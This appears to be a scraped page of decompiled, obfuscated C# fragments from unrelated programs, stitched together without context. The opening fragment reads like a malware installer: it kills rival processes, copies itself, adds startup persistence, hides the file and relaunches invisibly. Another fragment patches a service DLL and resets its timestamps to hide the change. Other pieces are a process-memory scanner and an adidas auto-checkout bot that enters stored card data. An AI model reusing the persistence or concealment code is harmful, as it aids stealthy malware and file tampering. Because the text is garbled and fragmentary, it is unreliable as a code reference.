                    foreach (Process process in processesByName)
                    {
                        if (process.Id != id)
                        {
                            process.Kill();
                            flag = true;
                        }
                    }
                }
            }
        }
        if (flag)
        {
            Thread.Sleep(5000);
        }
        try
        {
            File.Copy(GClass0.CurrentPath, GClass0.InstallPath, true);
        }
        catch
        {
            GClass0.Disconnect = true;
            return;
        }
        if (GClass35.bool_1 && !GClass16.smethod_1())
        {
            GClass0.AddToStartupFailed = true;
        }
        if (GClass35.bool_2)
        {
            try
            {
                File.SetAttributes(GClass0.InstallPath, FileAttributes.Hidden);
            }
            catch (Exception)
            {
            }
        }
        GClass4.smethod_2(GClass0.InstallPath);
        ProcessStartInfo startInfo = new ProcessStartInfo
        {
            WindowStyle     = ProcessWindowStyle.Hidden,
            CreateNoWindow  = true,
            UseShellExecute = true,
            FileName        = GClass0.InstallPath
        };

        try
        {
            Process.Start(startInfo);
        }
        catch (Exception)
        {
            GClass0.Disconnect = true;
            return;
        }
        GClass0.Disconnect = true;
    }
Exemple #22
0
    // Token: 0x0600009C RID: 156 RVA: 0x0000A870 File Offset: 0x00008A70
    public void method_9(byte[] byte_0, Action action_0 = null)
    {
        if (this.intptr_0 == IntPtr.Zero)
        {
            throw new InvalidOperationException("Cannot scan process memory regions. No process loaded.");
        }
        if (byte_0.Length == 0)
        {
            throw new ArgumentOutOfRangeException("Buffer cannot be of length 0.");
        }
        this.method_6();
        this.method_7(0);
        int num = 0;

        GClass4[] array = this.list_0.ToArray();
        int       i     = 0;

        while (i < array.Length)
        {
            GClass4 gclass = array[i];
            if (!this.dictionary_0.ContainsKey(gclass.IntPtr_0))
            {
                using (Dictionary <IntPtr, byte[]> .KeyCollection.Enumerator enumerator = this.dictionary_0.Keys.GetEnumerator())
                {
                    while (enumerator.MoveNext())
                    {
                        IntPtr intPtr = enumerator.Current;
                        int    num2   = (int)intPtr;
                        int    num3   = num2 + this.dictionary_0[intPtr].Length;
                        int    num4   = (int)gclass.IntPtr_0;
                        if (num4 >= num2 && num4 <= num3)
                        {
                            if (!GClass0.smethod_1(this.dictionary_0[intPtr], byte_0, num4 - num2))
                            {
                                this.list_0.Remove(gclass);
                                break;
                            }
                            gclass.Byte_0 = byte_0;
                            break;
                        }
                    }
                    goto IL_13B;
                }
                goto IL_10B;
            }
            goto IL_10B;
IL_13B:
            num++;
            this.method_7(num / this.dictionary_0.Count * 100);
            i++;
            continue;
IL_10B:
            if (!GClass0.smethod_1(this.dictionary_0[gclass.IntPtr_0], byte_0, 0))
            {
                this.list_0.Remove(gclass);
                goto IL_13B;
            }
            gclass.Byte_0 = byte_0;
            goto IL_13B;
        }
        this.method_7(100);
        if (action_0 != null)
        {
            action_0();
        }
    }
    // Token: 0x060003F7 RID: 1015 RVA: 0x00017BF8 File Offset: 0x00015DF8
    public static bool smethod_5()
    {
        string            text = GClass0.String_0;
        ServiceController serviceController = new ServiceController(text);
        string            text2             = "";
        bool result = false;

        try
        {
            string left = Class13.smethod_6(AppDomain.CurrentDomain.BaseDirectory + "\\es\\wAirCut.resources.dll");
            if (Operators.CompareString(left, "908576645D406E5D543E1F16428FCFDB", false) != 0)
            {
                MessageBox.Show("Resorce file is wrong", "Waircut", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            left = Class13.smethod_6(AppDomain.CurrentDomain.BaseDirectory + "\\ru\\wAirCut.resources.dll");
            if (Operators.CompareString(left, "C994E6B19DB5C8A8E4D0549F79CE32A5", false) != 0)
            {
                MessageBox.Show("Resorce file is wrong", "Waircut", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            left = Class13.smethod_6(AppDomain.CurrentDomain.BaseDirectory + "\\fr\\wAirCut.resources.dll");
            if (Operators.CompareString(left, "BF000AC77F51D507E038272A8E998290", false) != 0)
            {
                MessageBox.Show("Resorce file is wrong", "Waircut", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            if (serviceController.DisplayName != null)
            {
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services");
                if (registryKey != null)
                {
                    Class13.smethod_2(text);
                    registryKey.OpenSubKey(text).GetValue("ImagePath");
                    text2 = Path.GetDirectoryName(registryKey.OpenSubKey(text).GetValue("ImagePath").ToString());
                }
                if (Operators.CompareString(text2, "", false) != 0)
                {
                    left = Class13.smethod_6(text2 + "\\jswscsup.dll");
                    if (Operators.CompareString(left, "1FB6E3E894EDDFF1B2277235BAB769E9", false) == 0)
                    {
                        result = true;
                    }
                    else
                    {
                        GClass4 gclass = new GClass4(left);
                        byte[]  byte_  = GClass0.Byte_0;
                        byte[]  array  = gclass.method_2(ref byte_);
                        left = Class13.smethod_7(array);
                        if (Operators.CompareString(left, "1FB6E3E894EDDFF1B2277235BAB769E9", false) != 0)
                        {
                            MessageBox.Show(Class10.String_56, "Jumpstart Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                            return(false);
                        }
                        DateTime lastWriteTime = File.GetLastWriteTime(text2 + "\\jswscsup.dll");
                        DateTime creationTime  = File.GetCreationTime(text2 + "\\jswscsup.dll");
                        if (Class6.Class5_0.FileSystem.FileExists(text2 + "\\jswscsup-tmp.dll"))
                        {
                            Class6.Class5_0.FileSystem.DeleteFile(text2 + "\\jswscsup-tmp.dll");
                        }
                        Class6.Class5_0.FileSystem.RenameFile(text2 + "\\jswscsup.dll", "jswscsup-tmp.dll");
                        File.WriteAllBytes(text2 + "\\jswscsup.dll", array);
                        File.SetLastWriteTime(text2 + "\\jswscsup.dll", lastWriteTime);
                        File.SetCreationTime(text2 + "\\jswscsup.dll", creationTime);
                        if (Class6.Class5_0.FileSystem.FileExists(text2 + "\\jswscsup-tmp.dll"))
                        {
                            Class6.Class5_0.FileSystem.DeleteFile(text2 + "\\jswscsup-tmp.dll");
                        }
                        result = Class13.smethod_5();
                    }
                }
            }
        }
        catch (Exception ex)
        {
            MessageBox.Show(Class10.String_57, "Jumpstart Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        return(result);
    }
    private void method_2(GClass0 gclass0_0)
    {
        GClass4  checkoutProfile       = gclass0_0.checkoutProfile;
        int      num                   = 0;
        TimeSpan?timeout               = null;
        Task <JavascriptResponse> task = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_12, timeout);

        task.Wait();
        while ((task.get_Result().Result == null) || !((string)task.get_Result().Result).Equals("exists"))
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_12, timeout).Wait();
            Thread.Sleep(500);
            num++;
            if (num > 30)
            {
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                }
                return;
            }
        }
        Thread.Sleep(250);
        if (checkoutProfile.countryCode > 1)
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_5 + ".focus();"), timeout).Wait();
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_5 + ".select();"), timeout).Wait();
            this.method_6(checkoutProfile.name);
            this.method_7();
            this.method_6(checkoutProfile.lastName);
            this.method_7();
            this.method_6(checkoutProfile.address1);
            this.method_7();
            if (checkoutProfile.address2 != null)
            {
                this.method_6(checkoutProfile.address2);
            }
            this.method_7();
            if (this.dictionary_0[checkoutProfile.countryCode])
            {
                this.method_6(checkoutProfile.city);
                this.method_7();
                this.method_6(checkoutProfile.postalCode);
            }
            else
            {
                this.method_6(checkoutProfile.postalCode);
                this.method_7();
                this.method_6(checkoutProfile.city);
            }
            this.method_7();
            if (!checkoutProfile.phoneNumber.Equals(string.Empty))
            {
                this.method_6(checkoutProfile.phoneNumber);
            }
            this.method_7();
            this.method_6(checkoutProfile.email);
        }
        else if (checkoutProfile.countryCode == 0)
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_6 + ".focus();"), timeout).Wait();
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_6 + ".select();"), timeout).Wait();
            this.method_6(checkoutProfile.name);
            this.method_7();
            this.method_6(checkoutProfile.lastName);
            this.method_7();
            this.method_6(checkoutProfile.address1);
            this.method_7();
            if (checkoutProfile.address2 != null)
            {
                this.method_6(checkoutProfile.address2);
            }
            this.method_7();
            this.method_6(checkoutProfile.city);
            Thread.Sleep(500);
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByClassName('ffSelectButton')[0].click();", timeout).Wait();
            Thread.Sleep(500);
            this.method_9(checkoutProfile.stateCode + 1);
            this.method_8();
            this.method_7();
            this.method_7();
            this.method_7();
            this.method_6(checkoutProfile.postalCode);
            this.method_7();
            this.method_6(checkoutProfile.phoneNumber);
            this.method_7();
            this.method_7();
            this.method_6(checkoutProfile.email);
        }
        else if (checkoutProfile.countryCode == 1)
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_delivery_singleshipping_shippingAddress_addressFields_firstName').focus();", timeout).Wait();
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_delivery_singleshipping_shippingAddress_addressFields_firstName').select();", timeout).Wait();
            this.method_6(checkoutProfile.name);
            this.method_7();
            this.method_6(checkoutProfile.lastName);
            this.method_7();
            this.method_6(checkoutProfile.address1);
            this.method_7();
            if (checkoutProfile.address2 != null)
            {
                this.method_6(checkoutProfile.address2);
            }
            this.method_7();
            this.method_6(checkoutProfile.city);
            this.method_7();
            this.method_9(checkoutProfile.stateCode + 1);
            this.method_7();
            this.method_6(checkoutProfile.postalCode);
            this.method_7();
            if (!checkoutProfile.phoneNumber.Equals(string.Empty))
            {
                this.method_6(checkoutProfile.phoneNumber);
            }
            this.method_7();
            this.method_7();
            this.method_6(checkoutProfile.email);
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_delivery_singleshipping_shippingAddress_ageConfirmation').click();", timeout).Wait();
        }
        if (checkoutProfile.countryCode > 1)
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByName('dwfrm_shipping_submitshiptoaddress')[0].click();", timeout).Wait();
        }
        else
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_delivery_savedelivery').click();", timeout).Wait();
        }
        timeout = null;
        task    = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_7, timeout);
        task.Wait();
        while ((task.get_Result().Result == null) || !((string)task.get_Result().Result).Equals("exists"))
        {
            timeout = null;
            task    = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_7, timeout);
            task.Wait();
            Thread.Sleep(500);
            num++;
            if (num > 30)
            {
                task = this.chromiumWebBrowser_0.EvaluateScriptAsync("!document.getElementsByClassName('alert-box ab-warning')[0].className.includes('hidden');", (TimeSpan?)null);
                task.Wait();
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if ((task.get_Result().Result != null) && ((bool)task.get_Result().Result))
                {
                    if (this.mainForm_0 != null)
                    {
                        this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed! Either your shipping address is wrong or you have selected the wrong location.\n");
                        return;
                    }
                }
                else if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                }
                return;
            }
        }
        Thread.Sleep(0x7d0);
        if (checkoutProfile.countryCode > 0)
        {
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('creditcard').click();", timeout).Wait();
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_adyenencrypted_number').focus();", timeout).Wait();
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_adyenencrypted_number').select();", timeout).Wait();
            this.method_6(checkoutProfile.cardNumber);
            this.method_7();
            if (checkoutProfile.cardName != null)
            {
                this.method_6(checkoutProfile.cardName);
            }
        }
        else
        {
            base.Invoke(new MethodInvoker(this.method_10));
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_payment_creditCard_owner').focus();", timeout).Wait();
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('dwfrm_payment_creditCard_owner').select();", timeout).Wait();
            if (checkoutProfile.cardName != null)
            {
                this.method_6(checkoutProfile.cardName);
            }
            this.method_7();
            this.method_6(checkoutProfile.cardNumber);
        }
        this.method_7();
        this.method_9(checkoutProfile.expireMonth + 1);
        this.method_7();
        this.method_9(checkoutProfile.expireYear + 1);
        this.method_7();
        if (checkoutProfile.countryCode != 0)
        {
            this.method_7();
        }
        this.method_6(checkoutProfile.cvc);
        this.method_7();
        Thread.Sleep(100);
        if (checkoutProfile.countryCode > 0)
        {
            timeout = null;
            task    = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('co-btn_primary btn_showcart button-full-width button-ctn button-brd adi-gradient-blue button-forward')[0]) 'exists';", timeout);
            task.Wait();
            if ((task.get_Result().Result != null) && ((string)task.get_Result().Result).Equals("exists"))
            {
                timeout = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByClassName('co-btn_primary btn_showcart button-full-width button-ctn button-brd adi-gradient-blue button-forward')[0].click();", timeout).Wait();
            }
            else
            {
                timeout = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByClassName('co-btn_primary btn_showcart button-full-width button-ctn button-brd adi-gradient-blue button-forward disabled')[0].click();", timeout).Wait();
            }
        }
        else
        {
            base.Invoke(new MethodInvoker(this.method_11));
            timeout = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByClassName('co-btn_primary btn_showcart button-full-width button-ctn button-brd adi-gradient-blue button-forward')[2].click();", timeout).Wait();
        }
        Thread.Sleep(0x3e8);
        timeout = null;
        task    = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('thankyoumessage')[0]) 'exists';", timeout);
        task.Wait();
        num = 0;
        while ((task.get_Result().Result == null) || !((string)task.get_Result().Result).Equals("exists"))
        {
            timeout = null;
            task    = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('thankyoumessage')[0]) 'exists';", timeout);
            task.Wait();
            Thread.Sleep(500);
            num++;
            if (num > 30)
            {
                task = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('alert-box ab-warning')[0]) 'exists';", (TimeSpan?)null);
                task.Wait();
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if ((task.get_Result().Result != null) && ((string)task.get_Result().Result).Equals("exists"))
                {
                    if (this.mainForm_0 != null)
                    {
                        this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed! Either your credit card data is wrong, you have selected the wrong location or adidas rejected your payment for security reasons.\n");
                        return;
                    }
                }
                else if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                }
                return;
            }
        }
        gclass0_0.autoCheckoutState = 2;
        gclass0_0.button0           = "View order confirmation";
        gclass0_0.button1           = string.Empty;
        gclass0_0.button2           = string.Empty;
        gclass0_0.button3           = string.Empty;
        base.Invoke(new MethodInvoker(this.method_12));
        if (this.mainForm_0 != null)
        {
            this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout successfull!\n");
        }
    }
 public void method_7(string string_0)
 {
     Assembly assembly = Assembly.LoadFile(string_0);
     try
     {
         Type[] types = assembly.GetTypes();
         for (int i = 0; i < types.Length; i++)
         {
             Type type = types[i];
             if (type.IsPublic && !type.IsAbstract)
             {
                 Type @interface = type.GetInterface("PluginInterface.IPlugin", true);
                 if (@interface != null)
                 {
                     GClass4 gClass = new GClass4();
                     gClass.String_0 = string_0;
                     gClass.IPlugin_0 = (IPlugin)Activator.CreateInstance(assembly.GetType(type.ToString()));
                     gClass.IPlugin_0.Host = this;
                     gClass.IPlugin_0.Initialize();
                     this.gclass3_0.method_0(gClass);
                 }
             }
         }
     }
     catch (Exception)
     {
     }
 }
Exemple #26
0
 // Token: 0x06000169 RID: 361 RVA: 0x00002A24 File Offset: 0x00000C24
 protected virtual void OnTextChanged(EventArgs e)
 {
     base.OnTextChanged(e);
     GClass4.smethod_0(this);
 }